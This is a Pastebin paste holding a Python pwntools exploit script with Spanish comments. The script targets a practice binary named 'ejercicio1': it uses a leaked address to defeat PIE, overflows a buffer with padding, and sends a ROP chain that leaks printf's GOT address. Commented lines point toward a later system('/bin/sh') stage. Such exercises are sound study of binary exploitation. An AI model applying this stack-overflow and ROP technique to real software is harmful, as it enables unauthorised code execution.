Templario_7777

Exp_1

May 9th, 2022 (edited)
727
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. #/usr/bin/python3
  2. from pwn import *
  3.  
  4. fileName = "./ejercicio1"
  5. e = ELF(fileName) #Checksec ejercicio1
  6.  
  7. gdbs = '''
  8.         b vuln
  9.  
  10.         '''
  11.  
  12. #p = process(fileName) # proceeso sin debug GDB
  13.  
  14. p = gdb.debug(fileName, gdbscript = gdbs) #Proceso con Debug GDB enviando un continue
  15. libc = e.libc
  16.  
  17. print(p.recvuntil(b"Ya sabes que hacer:"))
  18. leak = p.recvline().split(b"\n")
  19. leak = int(leak[0],16)
  20. vuln = 0x118d
  21. offset = leak - 0x118d
  22. full_vuln = offset + 0x118d
  23. ret = offset + 0x101a
  24. poprdi = offset + 0x1233
  25. poprsp_r15 = offset + 0x122d
  26. poprsi_r15 = offset + 0x1231
  27. got_printf = offset + 0x3fc8
  28. printf = offset + 0x1060
  29. main = offset + 0x1169
  30. format_printf = offset + 0x2004
  31. # '0x50ae0' system en lib.c
  32. # '0x1d7cba' /bin/sh en lib.c
  33. print (hex(leak))
  34. print (hex(vuln))
  35.  
  36. print (hex(offset))
  37.  
  38.  
  39. payload = b'A' * 24 # igual a \x41
  40. #payload += b'B' * 8 # igual a \x42 Direccion RET
  41. #payload += p64(ret)
  42. #payload += p64(poprsi_r15)
  43. #payload += p64(got_printf)
  44. #payload += p64(0)
  45. #payload += p64(poprdi)
  46. #payload += p64(got_printf)
  47. #payload += p64(poprsp_r15)
  48. #payload += p64(full_vuln)
  49. #payload += p64(ret)
  50. #payload += p64(ret)
  51. #payload += p64(printf)
  52. #payload += p64(full_vuln)
  53. payload += p64(poprdi)
  54. payload += p64(format_printf)
  55. payload += p64(poprsi_r15)
  56. payload += p64(got_printf)
  57. payload += p64(0)
  58. #payload += p64(0)
  59. #payload += p64(0)
  60. #payload += p64(ret)
  61. payload += p64(printf)
  62. payload += p64(ret)
  63.  
  64.  
  65. #print(p.recvuntil(b"hacer:"))
  66. p.sendline(payload)
  67. print(p.recvuntil(b":"))
  68. leak = p.recvline().split(b"\n")
  69. leak = int(leak[0],16)
  70. print (hex(leak))
  71. p.interactive()
Add Comment
Please, Sign In to add comment